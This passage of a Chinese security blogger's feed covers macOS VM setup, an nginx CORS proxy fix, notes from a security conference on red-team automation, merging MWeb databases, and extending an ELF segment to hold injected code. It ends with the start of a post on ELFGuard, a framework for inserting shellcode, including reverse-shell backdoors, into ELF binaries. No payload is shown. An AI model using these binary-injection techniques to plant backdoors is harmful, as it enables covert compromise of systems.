<p>1、 Web 应用防火墙 - 产品分类 <a href="https://cloud.tencent.com/document/product/627/39843">https://cloud.tencent.com/document/product/627/39843</a></p>
]]>
    </content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[如何在macOS上通过Fusion安装 Catalina虚拟机]]></title>
    <link href="https://thinkycx.me/2023-11-25-how-to-install-macOS-in-VMware-Fusion.html"/>
    <updated>2023-11-25T11:46:34+08:00</updated>
    <id>https://thinkycx.me/2023-11-25-how-to-install-macOS-in-VMware-Fusion.html</id>
    <content type="html">
      <![CDATA[<h2><a id="%E8%83%8C%E6%99%AF" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>背景</h2>
<p>最早在fusion上用高版本macOS iso镜像安装虚拟机失败了，本文主要参考链接1，记录在在（macOS10.15）上通过VMware Fusion 安装Catalina虚拟机的方法。</p>
 <span id="more"></span><!-- more -->
<p>时间： 2023年11月25日 下午2:43:38</p>
<pre><code class="language-plain_text">macOS：10.15.7 
VMWare Fusion：专业版 11.5.5
</code></pre>
<h2><a id="%E6%AD%A5%E9%AA%A41%EF%BC%9A%E8%8E%B7%E5%8F%96%E5%8E%9F%E7%94%9F%E5%AE%89%E8%A3%85%E5%8C%85" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>步骤1： 获取原生安装包</h2>
<p>下载macOS：<a href="https://support.apple.com/zh-cn/HT211683">https://support.apple.com/zh-cn/HT211683</a></p>
<p>如果您是 Catalina，建议不要下载高版本镜像（对fusion有要求，高版本fusion对macOS版本有要求）。</p>
<p><img src="media/17008839945678/17008853516822.jpg" alt="" class="mw_img_center" style="width:400px;display: block; clear:both; margin: 0 auto;" /></p>
<p>下载完成后，查看文件：<br />
<img src="media/17008839945678/17008938511130.jpg" alt="" /></p>
<h2><a id="%E6%AD%A5%E9%AA%A42%EF%BC%9A%E5%88%9B%E5%BB%BA-iso%E6%96%87%E4%BB%B6" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>步骤2 ： 创建iso文件</h2>
<p>hdiutil 是 macOS 操作系统中的一个命令行工具，用于处理磁盘映像（Disk Image）文件。它提供了一系列的功能，包括创建、挂载、卸载和转换磁盘映像文件等操作。</p>
<pre><code class="language-plain_text">hdiutil create -o /tmp/Catalina -size 13650m -volname Catalina -layout SPUD -fs HFS+J
# 创建磁盘映像，使用 SPUD 布局和 HFS+J 文件系统
# 如果遇到任何报错，可以重启系统重试

hdiutil attach /tmp/Catalina.dmg -noverify -mountpoint /Volumes/Catalina
# 挂载：将刚刚创建的磁盘映像文件挂载到文件系统中。

sudo /Applications/Install\ macOS\ Catalina.app/Contents/Resources/createinstallmedia --volume /Volumes/Catalina --nointeraction
# 复制安装文件到磁盘映像： 使用 macOS 安装器内的 createinstallmedia 工具

sudo hdiutil detach -force /Volumes/Install\ macOS\ Catalina
# 卸载磁盘映像

hdiutil convert /tmp/Catalina.dmg -format UDTO -o ~/Desktop/Catalina.cdr
# UDTO 表示 &quot;Universal Disk Image Format (compressed)&quot;，即 .cdr 格式。

mv ~/Desktop/Catalina.cdr ~/Desktop/Catalina.iso

rm /tmp/Catalina.dmg
</code></pre>
<p>效果如下：<br />
<img src="media/17008839945678/17008937028944.jpg" alt="" /></p>
<p><img src="media/17008839945678/17008937368332.jpg" alt="" /></p>
<h2><a id="%E6%AD%A5%E9%AA%A43%EF%BC%9A-fusion%E5%88%9B%E5%BB%BA%E8%99%9A%E6%8B%9F%E6%9C%BA" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>步骤3： Fusion创建虚拟机</h2>
<p>打开Fusion 选择iso安装即可，注意版本适配情况，选择 macOS 10.15。<br />
注：macOS/fusion/虚拟机版本要求：如果安装macOS Ventura，fusion要求 &gt;=13，因此 macOS要求 &gt;=12 Monterey）</p>
<p><img src="media/17008839945678/17008943382271.jpg" alt="" /></p>
<p>效果如下：<br />
<img src="media/17008839945678/17008951768697.jpg" alt="" /></p>
<h2><a id="%E5%8F%82%E8%80%83" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>参考</h2>
<p>1、<a href="https://www.javatang.com/archives/2023/04/21/31323780.html">https://www.javatang.com/archives/2023/04/21/31323780.html</a></p>
]]>
    </content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[case解决：blog gitalk 功能恢复]]></title>
    <link href="https://thinkycx.me/2023-11-19-case-debug-fix-blog-gitalk.html"/>
    <updated>2023-11-19T20:02:23+08:00</updated>
    <id>https://thinkycx.me/2023-11-19-case-debug-fix-blog-gitalk.html</id>
    <content type="html">
      <![CDATA[<h2><a id="%E8%83%8C%E6%99%AF" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>背景</h2>
<p>周末修复了一下 gitalk评论失败的问题，通过配置nginx代理解决github 接口跨域访问的问题。<br />
技术上没什么好说的，这篇blog本身更大的意义是仅为了后续类似的问题举一反三，remind自己第一时间解决。</p>
<span id="more"></span><!-- more -->
<p>写作时间：2023年11月19日 下午9:28:36</p>
<h2><a id="1%E3%80%81%E9%97%AE%E9%A2%98%E5%88%86%E6%9E%90%E5%AE%9A%E4%BD%8D%E6%9C%AC%E8%B4%A8" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>1、问题分析 - 定位本质</h2>
<p>gitalk 很久都不能正常用了，具体表现如下，没有登录的情况下，请求<a href="https://api.github.com/user">https://api.github.com/user</a> 返回401（符合预期）。<br />
<img src="media/17003953438329/17004013882250.jpg" alt="" /></p>
<p>但 点击登录发现请求了core-anywhere的站点，返回403：<br />
<img src="media/17003953438329/17004034037290.jpg" alt="" /></p>
<p>参考前人经验，定位问题本质为：github接口（<a href="https://github.com/login/oauth/authorize%EF%BC%89%E4%B8%8D%E6%94%AF%E6%8C%81%E8%B7%A8%E5%9F%9F%EF%BC%8Cgitalk%E9%BB%98%E8%AE%A4%E7%94%A8%E4%BA%86%E4%B8%89%E6%96%B9%E7%AB%99%E7%82%B9%EF%BC%88https://cors-anywhere.herokuapp.com%EF%BC%89%E6%9D%A5%E8%A7%A3%E5%86%B3%EF%BC%8C%E5%B8%AE%E6%88%91%E4%BB%AC%E5%8F%91%E8%B5%B7%E8%B7%A8%E5%9F%9F%E8%AF%B7%E6%B1%82%EF%BC%8C%E4%BD%86%E8%AF%A5%E7%AB%99%E7%82%B9%E5%B7%B2%E4%B8%8B%E7%BA%BF%E4%BA%86%EF%BC%9A">https://github.com/login/oauth/authorize）不支持跨域，gitalk默认用了三方站点（https://cors-anywhere.herokuapp.com）来解决，帮我们发起跨域请求，但该站点已下线了：</a></p>
<ul>
<li><a href="https://blog.csdn.net/wang704987562/article/details/82531724">https://blog.csdn.net/wang704987562/article/details/82531724</a></li>
<li><a href="https://cloud.tencent.com/developer/article/1796851">https://cloud.tencent.com/developer/article/1796851</a></li>
<li><a href="https://segmentfault.com/a/1190000039280316">https://segmentfault.com/a/1190000039280316</a></li>
<li>GitHub OAuth 第三方登录示例教程 : <a href="https://ruanyifeng.com/blog/2019/04/github-oauth.html">https://ruanyifeng.com/blog/2019/04/github-oauth.html</a></li>
<li>官方文档：<a href="https://github.com/gitalk/gitalk/blob/master/readme-cn.md">https://github.com/gitalk/gitalk/blob/master/readme-cn.md</a></li>
<li>clientid&amp;secret获取：<a href="https://github.com/settings/developers">https://github.com/settings/developers</a></li>
</ul>
<h2><a id="2%E3%80%81%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88%E5%85%B7%E4%BD%93%E5%AE%9E%E8%B7%B5" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>2、解决方案 - 具体实践</h2>
<p>方案：搞一个代理即可<br />
实践：</p>
<p>1、配置一个nginx 反向代理，帮我们去请求 <a href="https://github.com/login/oauth/access_token%E3%80%82%E5%8F%82%E8%80%83%E7%9A%84nginx%E9%85%8D%E7%BD%AE%E5%A6%82%E4%B8%8B%EF%BC%9A">https://github.com/login/oauth/access_token。参考的nginx配置如下：</a></p>
<pre><code class="language-plain_text">location /login/oauth/access_token {
    add_header Access-Control-Allow-Origin thinkycx.me;
    add_header Access-Control-Allow-Methods 'GET, POST, OPTIONS';
    add_header Access-Control-Allow-Headers 'DNT,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization';
    if ($request_method = 'OPTIONS') {
      return 204;
    }
    proxy_pass https://github.com/; # 尾部斜杠不能少
}
</code></pre>
<p>备注：正向代理和反向代理的概念很容易混淆，正向代理代理的是客户端，客户端通过代理访问目标资源；反向代理代理的是服务器，客户端对真正目标服务器无感知。这里暂且认为是反向代理，因为proxy_pass对应的目标对地址写死，逻辑上和github通信认证的过程对客户端几乎透明。（如有错误欢迎指正）</p>
<p>实际效果：  点击登录  -&gt; <a href="https://thinkycx.me/login/oauth/access_token">https://thinkycx.me/login/oauth/access_token</a>  ---&gt;  <a href="https://github.com/login/oauth/access_token">https://github.com/login/oauth/access_token</a></p>
<p>2、修改js，在gitalk初始化时传入proxy url即可。</p>
<p>注意：如果接了cloudflare，js更新后缓存可能不会立即被刷新，可以在cloud-flare上设置 “Purge Cache”，强制刷新缓存。<br />
<img src="media/17003953438329/17004011220048.jpg" alt="" /></p>
<h2><a id="3%E3%80%81%E6%9C%80%E7%BB%88%E6%95%88%E6%9E%9C" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>3、最终效果</h2>
<p>js正常工作auth通过，通过proxy间接跨域，获取github信息成功。<br />
<img src="media/17003953438329/17004041583119.jpg" alt="" /></p>
<h2><a id="%E6%84%9F%E5%8F%97" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>感受</h2>
<p>1、关注真正重要的事情，遇到问题，第一时间解决。（如：gitalk 21年挂到23年年末才恢复）<br />
2、部分技术知识点太久不用了，遗忘是正常的；chatgpt诞生之后，获取简单问题的解决方案已变得越来越方便了，导致历史上的一堆笔记可能瞬间失去了他的主要价值。因此当下觉得核心价值是目标达成的能力、问题解决的能力，如何具备这些能力？需要什么技能点，可能是后续需要思考的问题。</p>
]]>
    </content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[携程安全沙龙分享 - 简记]]></title>
    <link href="https://thinkycx.me/2023-11-18-trip-com-infosec-share-notes.html"/>
    <updated>2023-11-18T22:32:02+08:00</updated>
    <id>https://thinkycx.me/2023-11-18-trip-com-infosec-share-notes.html</id>
    <content type="html">
      <![CDATA[<h2><a id="%E8%83%8C%E6%99%AF" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>背景</h2>
<p>感谢携程沙龙，促进了甲乙方的交流，让知识流动起来，让行业发展更好。</p>
<p>本水文主要写于会后（现场不建议拍照），主要记录会议内容+少量个人思考，希望对大家有帮助，欢迎行业内的同学一起交流。</p>
<span id="more"></span><!-- more -->
<p>写于：2023年11月18日 下午10:48:04</p>
<h2><a id="%E4%B8%BB%E8%A6%81%E5%86%85%E5%AE%B9" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>主要内容</h2>
<h3><a id="01%E5%B8%B8%E6%80%81%E5%8C%96%E5%8A%9F%E9%98%B2%E5%8F%8A%E8%BF%90%E8%90%A5%E4%BD%93%E7%B3%BB%E5%BB%BA%E8%AE%BE" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>01 常态化功防及运营体系建设</h3>
<p>a）【入侵检测】钓鱼作为当下甲方主要风险之一（每年case 30+），检测主要依赖进程链，向前看进程来源（wx等），向后看后续动作（行为）。<br />
b）【入侵检测】ueba的检测方案真正落地，员工属性、登录来源、访问历史、核心资产动作（搜索） =》 刻画历史基线，分析异常。<br />
c）【基建-资产管理】itsm + cmdb属于正向建设，反向建设（基于扫描、日志 dns hids 网络等等）反补资产也很重要，且2拿到的数据也更易被真实攻击拿到，不补可能会有影子资产。<br />
d）【基建-告警运营】调查单的目标是给运营同学高效感知、处理风险，因此让大家看得懂（如：soar实现 信息丰富化 是一个基本条件），让这个目标更好达成，让这个调查单 “可运营”。<br />
e）运营的终极目标是交付一个完美的产品，让这个产品实现最初的目标，自动化、高效流程化是主要衡量依据，各家可能都在往这个目标努力。受限于各方面因素，这个全自动可能永远不可能实现，但结合少量的人力投入达到符合预期的效果，可能就是落地下来的理想状态了。</p>
<blockquote>
<p>个人感受：<br />
1、在检测领域，a和b其实就是黑规则 + 基线的思路，适用于很多检测场景。当然根据重点应用，资源足够的情况也可以把  a的黑变成非白即黑（来自顺丰甲方的分享）。<br />
2、安全行业中的检测 依然 没有脱离客观世界规律： who（丰富属性） when  what   ，抽象一点的做法就是：采数据 + 分析数据（刻画异常 + 写规则） ，更客观的感知网络空间中的事儿。</p>
</blockquote>
<h3><a id="02%E7%9C%9F%E5%AE%9E%E5%9C%BA%E6%99%AF%E4%B8%8B%E7%9A%84%E6%94%BB%E9%98%B2%E5%8D%9A%E5%BC%88" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>02 真实场景下的攻防博弈*</h3>
<p>可能是攻击队开门分享中质量很高的的一次？一线红队leader的认知、执行、组织保障/资源投入、最终效果都有所体现。很遗憾没办法写一些细节，期待ppt吧，暂且就按照个人的理解总结几句话：</p>
<p>1、没有无法攻破的系统这句话不是说说而已，当资源投入足够多，目标价值足够大，一定能拿下。具体原因个人认为体现在以下几个趋势：1）互联网开放导致代码的复制共享，漏洞范围也会比较广。 2）明确目标（系统），了解目标的整体生命周期：上下游（二次认证短信等），攻击思路、手法就会拓宽。 3）资源足够体现在：esxi逃逸的国内hw中真实利用、耳熟能详的c2有资源自研定制，云上丰富数据&amp;日常0day的储备（300+）</p>
<p>2、防守方要知道自己的目标是什么，核心系统、防御水位。两军交战，不可避免的有伤亡，假设一定有服务会被打，那核心服务是否有足够的信心是最后一个倒下的？常态化建设时，明确分母，晾晒安全水位是否能做到？</p>
<p>3、漏洞爆炸半径大的东西不应该被甲方忽略。如：能全控类的（堡垒机、hids agent直打server？）。类比于：军械库、粮草库不能先被打穿。</p>
<p>4、怎么确定一个目标？就第一眼觉得什么东西最重要就行。航空公司就旅客信息、车企的OTA、三方软件下载站等</p>
<p>5、防守方针对战时和非战时的策略或许可以更精细化一点（不考虑攻击方全自动化的情况，战时攻击方投入的资源更多），那么防守方的策略在战时也可以适当做一些成本很低提高攻击者门槛的方式，如 溯源反制、蜜罐等干扰攻击者攻击（如果太定制化 ，如关机，封ip 个人不太看好，违背了hw初衷：发现问题）。</p>
<p>6、生活中息息相关的一些头部公司，一旦被高level红队盯上，从开始到出局可能不过几个小时；不相关的一些企业（工控）等基础设施，我们感知不到他的存在，但如果被攻击，后果可能无法承受；信息技术是一把双刃剑，做失陷假设，考虑这个后果是能否承受呢， 如xx新能源车。</p>
<h3><a id="%E7%95%A5" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>略</h3>
<p><strong>03  供应商的实战演习对抗探索</strong><br />
<strong>04 红蓝对抗蓝军击战法安全交流</strong><br />
<strong>05 甲方安全运营实战分享</strong></p>
<blockquote>
<p>个人感受，也许是很务实的一点是：我知道风险很多，能做的不多，但是我知道当下应该做什么事儿最重要。<br />
软柿子/核心系统是不是都防御到位了？是不是可以重点投入资源做。</p>
</blockquote>
<p><strong>06 甲方安全视角下的红蓝建设</strong></p>
<h3><a id="07%E7%A3%90%E7%9F%B3%E8%A1%8C%E5%8A%A8%E4%B8%8B%E7%9A%84%E6%94%BB%E5%87%BB%E8%83%BD%E5%8A%9B%E6%9C%BA%E6%A2%B0%E5%8C%96%E5%B9%B3-a%E6%BC%94%E6%8A%80%E5%8F%B2" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>07 磐石行动下的攻击能力 [ 机械化平A] 演技史</h3>
<p>1、为什么要做这件事情？ （内容有点乱，逻辑框架按照个人理解梳理）</p>
<p>过去 6年的时间 干了很多痛苦的事情，基础安全（红军/蓝军），70%的时间都在扯皮让业务修漏洞。现在只干一件事情，就是干攻击，很专注。</p>
<p>安全环境不错：上海的企业安全有一个比较好的机会。结合外部数据泄露case、企业环境金融+四通一达等、结合监管环境。</p>
<p>防守方还在比烂的阶段，基础的事情还没有做好，攻击技术暂时不需要进化就能搞定。一开始平A即可，大招可以最后再放。</p>
<p>渗透测试资源投入的三个阶段顺序：自动化平A &gt; 钓鱼 &gt; 0day（做攻防技术有一点技术追求）。</p>
<p>攻击队的目标是明确的，攻击队伍是有组织保障的，目标就是控制系统、达成什么目标，反推怎么干。</p>
<p>怎么标准化？将一个模糊的事情具体化，精细化，那么就很容易标准化。如：1）漏洞很多，但是可利用有价值的漏洞每年也就200+。2）漏洞打上各个属性，那么就更好刻画这个漏洞的好坏。</p>
<p>怎么自动化？大量的事情 -&gt; 方法论 -&gt; 标准化 -&gt; 自动化。把渗透测试标准化、流程化了，因此就可以实现自动化。怎么做？抽象大部分目标的网络架构，攻击路径，总结渗透测试公式</p>
<p>2、怎么做？方法论篇</p>
<p>攻击路径：1）找路径     2）破边界：oa边界、idc边界、专网边界    3）控靶标<br />
攻击队的攻击公式 =  资产指标 * 暴露面指标（接口、参数、端口服务） *  风险攻防知识储备 （历史上weblogic曾经出过多少洞等）</p>
<p>攻击成功 = 穷举每一条路径，找到一条能用的，可以把一个概率性的问题转化为确定性的问题。</p>
<p>战术：资产收集提前做，根据企业的ip域名提前沉淀，资产的实时感知，业务本身相关知识学习（如企查查的软件专利著作权会泄露一些信息）</p>
<p>3、怎么做？实际落地（组织保障、资源投入）<br />
人员支撑   （几十人，包括研究人员支持，比较核心的是漏洞研究、安全行业专家、特定领域行业专家） + 系统支撑（云图）。</p>
<p>发现资产：（核心概念是 种子发现 + 持续生命周期管理，确保有一份最全的资产）：</p>
<ul>
<li>基于种子（名称、邮箱、域名、邮箱、证书、网页hash等）来不断延伸，人工二次研判筛选，降噪等获取精准的资产</li>
<li>要的问题：噪音排除（泛解析等）、资产的标签实时识别（判断蜜罐等）</li>
</ul>
<p>暴露面的识别：</p>
<ul>
<li>分布式扫描（避免数据在核心骨干中数据丢失，避免干扰）</li>
<li>端口扫描（开放情况：syn包判断，协议识别抛弃nmap golang基于标准库自研，比nmap好30%）</li>
<li>目录识别 + 应用指纹识别（openresty、oa、jumperserver等）多做了一步但效果就会很好。</li>
</ul>
<p>漏洞武器库exp沉淀（关键）：</p>
<ul>
<li>漏洞本质上是渗透的加速器：有研究人员可以做到举一反三</li>
<li>攻防知识库沉淀项目：
<ul>
<li>做扎实（如，漏洞的各个属性拆解，评价这个漏洞是否好用），且依赖于 这块依赖于乙方的优势（1500+渗透测试，hw演练20+），天然具备大量的真实案例，武器库也可以滚雪球式的积累起来，极端点可以借助一个项目搞定整个行业。</li>
<li>新场景、新技术总会有新的问题（老生常谈了）；退市的产品风险也很大：citrix。</li>
<li>信息不对称让一些企业有了一些安全感（隔离、自研软件等），但随着时间的发展，被发现被利用就是迟早的事情。</li>
<li>各类安全产品的bypass姿势等。</li>
</ul>
</li>
<li>一键自动化能力，支持7*24h （suo5）</li>
</ul>
<p>4、防御建议：</p>
<ul>
<li>攻击者视角的防御能力建设</li>
<li>持续的风险资产管理</li>
<li>变更的感知能力（这点个人结合跟个人经验看，要做好的需要投入的资源会很高，比如业务新加location变更）</li>
<li>定期红蓝</li>
</ul>
<blockquote>
<p>个人感受：会前个人理解自动化平A的目标 取决于2点： a）资产收集自动化  b）武器库exp沉淀。实际看下来大方向没错，但是由于资源投入/组织建设的保障，这件事情在国内已经可以用一定的人力（40人），更高效的落地运转起来，产品做得更加精细、智能。原因可能乙方安服的场景天然会最先面临这样的问题，自然而然减少重复劳动，自动化的产品孕育而生了。</p>
</blockquote>
<h2><a id="%E6%80%BB%E7%BB%93takeaway" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>总结&amp;takeaway</h2>
<p>1、认知迭代（最重要的三个）：</p>
<ul>
<li>某些同学在分享和做事的思路都暗含着一个客观规律：目标制定、目标拆解、关键路径达成。同样印证入职以来总结过的方法论很好使，目标 + PDCA + 主要矛盾，需要持续迭代。对于个人的工作和生活也大有裨益。</li>
<li>平衡：技术 + 软素质，受限于个人精力可以有侧重，有意识的保持平衡很重要。</li>
<li>平衡：仰望星空，脚踏实地；</li>
</ul>
<p>2、重回凌空，物是人非，但认知却有新迭代，保持积极，“未来可期”。</p>
<p>TODO 略</p>
]]>
    </content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[mweb：合并两个文档库的方法]]></title>
    <link href="https://thinkycx.me/2021-02-16-how-to-merge-two-mweb-libraries.html"/>
    <updated>2021-02-16T23:34:11+08:00</updated>
    <id>https://thinkycx.me/2021-02-16-how-to-merge-two-mweb-libraries.html</id>
    <content type="html">
      <![CDATA[<p>本文简单介绍一下 合并两个mweb文档库的方法。</p>
<span id="more"></span><!-- more -->
<h2><a id="0x01%E8%83%8C%E6%99%AF" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>0x01 背景</h2>
<p>mweb文档库是 mweb用来管理多个markdown的。<br />
原理是 将管理markdown的元数据信息（article的元数据信息，category的元数据信息）存在sqlite数据库中（即：mainlib.db）。</p>
<p>mweb文档库设置后，目录结构如下：</p>
<pre><code class="language-plain_text">├── docs
│   ├── xxx.md      # markdown 源文件
│   └── media       # 图片等信息
├── mainlib.db      # sqlite数据库
└── metadata        # 发布时用到的文件夹
</code></pre>
<p>通过sqlite3查看sqlite数据中的表很简单：（字段参考补充信息）</p>
<pre><code class="language-plain_text">sqlite&gt; .tables
article      cat          cat_article  tag          tag_article
</code></pre>
<p>我们的目标是将文档库2中的数据 合并到 文档库1中，因此简化为：</p>
<ul>
<li>复制表信息：将文档库2中的 表中的信息 insert到文档库1中的 表中。</li>
<li>复制数据。</li>
</ul>
<h2><a id="0x02%E6%AD%A5%E9%AA%A4" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>0x02 步骤</h2>
<p>1、创建category：“导入-新”。<br />
在文档库1中创建一个新的category，例如导入。（防止insert时改变文档库1中原始catetory的sort顺序）</p>
<pre><code class="language-sql"># 创建后，效果如下，记住这个category的id为16134842697556
88|0|16134842697556|导入-新||12|87|0|||0|||||0|0||||||||||0|0
</code></pre>
<p>2、insert category结构。<br />
复制文档库2的category sql语句（通过navicat可以实现），insert到文档库1的sqlite db中。<br />
注意：需要替换文档库2 cat表中 pid为0的数据，让其pid为刚创建的category的pid：16134842697556。例如：</p>
<pre><code class="language-sql"># 替换前
INSERT INTO &quot;cat&quot; VALUES (25, 0, 16129449644395, 'Security', '', 12, 81, 0, '', '', 0, '', '', '', '', 0, 0, '', '', '', '', '', '', '', '', '', 0, 0);

# 替换后
INSERT INTO &quot;cat&quot; VALUES (89, 16134842697556, 16129449644395, 'Security', '', 12, 81, 0, '', '', 0, '', '', '', '', 0, 0, '', '', '', '', '', '', '', '', '', 0, 0);
</code></pre>
<p>insert pid为0的数据之后，再insert pid不为0的数据。</p>
<p>insert之后，重新载入文档库，就可以发现文档库1中的 分类 已经更新了。</p>
<p>3、导入article。<br />
由于文档库2中的id和文档库1中的id不同，需要当id自增，一个sql demo如下：</p>
<pre><code class="language-sql">INSERT INTO &quot;article&quot;(uuid, type, state, sort, dateAdd, dateModif, dateArt, docName, otherMedia, buildResource, postExtValue) VALUES (15941875466662, 0, 1, 15941875466662, 1594187546, 1594388338, 1594187546, '', '', '', '');
</code></pre>
<p>4、导入cat_article。</p>
<pre><code class="language-sql">INSERT INTO &quot;cat_article&quot;(rid, aid) VALUES (15961005158239, 15961005194269);
</code></pre>
<p>5、复制md和media信息。<br />
文档库2中的docs下的media 和md文件到 文档库1中，重新载入文档库1 即可。</p>
<p><img src="media/16134896515560/16134909317499.jpg" alt="" style="width:193px;" /></p>
<h2><a id="0x03%E6%95%88%E6%9E%9C" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>0x03 效果</h2>
<p><img src="media/16134896515560/16134905338079.jpg" alt="" style="width:242px;" /></p>
<h2><a id="0x04%E5%8F%82%E8%80%83" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>0x04 参考</h2>
<p>1、<a href="https://zh.mweb.im/mweb-library.html">https://zh.mweb.im/mweb-library.html</a><br />
2、<a href="https://blog.csdn.net/why10260922/article/details/80332786">https://blog.csdn.net/why10260922/article/details/80332786</a></p>
<h2><a id="%E8%A1%A5%E5%85%85" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>补充</h2>
<p>1）创建insert SQL时，可能用到的正则如下。</p>
<pre><code class="language-plain_text">&quot; VALUES .*?, 

&quot;(uuid, type, state, sort, dateAdd, dateModif, dateArt, docName, otherMedia, buildResource, postExtValue) VALUES (

&quot;(rid, aid) VALUES (
</code></pre>
<p>2）表结构</p>
<pre><code class="language-plain_text">sqlite&gt; .tables
article      cat          cat_article  tag          tag_article


sqlite&gt; .schema article
CREATE TABLE article(	
    id INTEGER primary key autoincrement
    uuid INTEGER
    type INTEGER
    state INTEGER
    sort INTEGER
    dateAdd INTEGER
    dateModif INTEGER
    dateArt INTEGER
    docName TEXT,  
    otherMedia TEXT
    buildResource TEXT
    postExtValue TEXT);
CREATE UNIQUE INDEX article_uuid_idx ON article (uuid);



sqlite&gt; .schema cat
CREATE TABLE cat(	
    id INTEGER primary key autoincrement
    pid INTEGER
    uuid INTEGER
    name TEXT
    docName TEXT
    catType INTEGER
    sort INTEGER
    sortType INTEGER
    siteURL TEXT
    siteSkinName TEXT
    siteLastBuildDate INTEGER
    siteBuildPath TEXT
    siteFavicon TEXT
    siteLogo TEXT
    siteDateFormat TEXT
    sitePageSize INTEGER
    siteListTextNum INTEGER
    siteName TEXT
    siteDes TEXT
    siteShareCode TEXT
    siteHeader TEXT
    siteOther TEXT
    siteMainMenuData TEXT
    siteExtDef TEXT
    siteExtValue TEXT
    sitePostExtDef TEXT
    siteEnableLaTeX INTEGER
    siteEnableChart INTEGER);
CREATE UNIQUE INDEX cat_uuid_idx ON cat (uuid);



sqlite&gt; .schema cat_article
CREATE TABLE cat_article(	
    id INTEGER primary key autoincrement
    rid INTEGER
    aid INTEGER);

sqlite&gt; .schema tag
CREATE TABLE tag(	
    id INTEGER primary key autoincrement
    name TEXT);


sqlite&gt; .schema tag_article
CREATE TABLE tag_article(	
    id INTEGER primary key autoincrement
    rid INTEGER
    aid INTEGER);
</code></pre>
]]>
    </content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[一种轻松扩展ELF可执行内存的方法]]></title>
    <link href="https://thinkycx.me/2020-04-21-an-easy-way-to-add-executable-memory-in-ELF.html"/>
    <updated>2020-04-21T17:07:12+08:00</updated>
    <id>https://thinkycx.me/2020-04-21-an-easy-way-to-add-executable-memory-in-ELF.html</id>
    <content type="html">
      <![CDATA[<p>在ELF文件中寻找可执行空间的办法很多，例如：patch无用的代码段、利用.eh_frame、修改PHDR增加一个新的Segment等等。本文介绍一种简单又通用思路：扩展原有的Segment。（注：本方法对与32位程序不适用）</p>
<p>关键词：ELF、可执行空间扩展。</p>
<span id="more"></span><!-- more -->
<h2><a id="%E6%9F%A5%E7%9C%8Bsegment" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>查看Segment</h2>
<p>以一个linux上的amd64程序——heapcreator为例，文件大小13480byte（hex为0x34a8），部分映射信息如下。<br />
<img src="media/15874600326418/15874617702306.jpg" alt="" class="mw_img_center" style="width:409px;display: block; clear:both; margin: 0 auto;" /></p>
<p>此时，该文件的前8192byte（0-0x2000）全被映射到了r-xp这个Segment中。0x2000出自于该文件的ELF的PHDR。计算方法: p_filesz p_memsz (4870 hex为0x12ac对齐0x1000，向上取整。<br />
<img src="media/15874600326418/15874629488113.jpg" alt="" class="mw_img_center" style="width:763px;display: block; clear:both; margin: 0 auto;" /></p>
<h2><a id="%E6%89%A9%E5%B1%95segment" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>扩展Segment</h2>
<p>如果将p_filesz和p_memsz增大，则ELF在被OS加载时，会一直映射后面的内容。验证方法：</p>
<ol>
<li>将memsz和filesz修改为heapcreator文件的大小：0x34a8。</li>
<li>在文件的末尾增加验证的字符&quot;BBBBBBBBBBBBBBBB&quot;。</li>
</ol>
<p>修改完成后，被映射到OS中的内容为：0x4000（0x34a8对齐0x1000，向上取整）。<br />
<img src="media/15874600326418/15874635022214.jpg" alt="" class="mw_img_center" style="width:412px;display: block; clear:both; margin: 0 auto;" /></p>
<p>此时，可在IDA或gdb中查看文件末尾处增加的数据，已被映射到r-xp中的内存中。<br />
<img src="media/15874600326418/15874636360979.jpg" alt="" style="width:658px;" /></p>
]]>
    </content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[ELFGuard 实现原理介绍]]></title>
    <link href="https://thinkycx.me/2019-12-26-ELFGuard-introduce.html"/>
    <updated>2019-12-26T11:04:50+08:00</updated>
    <id>https://thinkycx.me/2019-12-26-ELFGuard-introduce.html</id>
    <content type="html">
      <![CDATA[<h2><a id="%E7%AE%80%E4%BB%8B" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>简介</h2>
<p>ELFGuard是一个针对ELF文件的shellcode执行框架，可以在ELF二进制文件中插入你想要的shellcode，例如：SECCOMP来限制系统调用，reverseshell来留后门。</p>
<span id="more"></span><!-- more -->
<p>项目地址：<a href="https://github.com/thinkycx/elfguard">https://github.com/thinkycx/elfguard</a></p>
<p>创建时间：2019-12-16<br />
更新时间：2025-01-16</p>
<h2><a id="%E6%BC%94%E7%A4%BA%E8%A7%86%E9%A2%91" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>演示视频</h2>
<p>攻，基于elfguard留下反弹 shell 后门：</p>
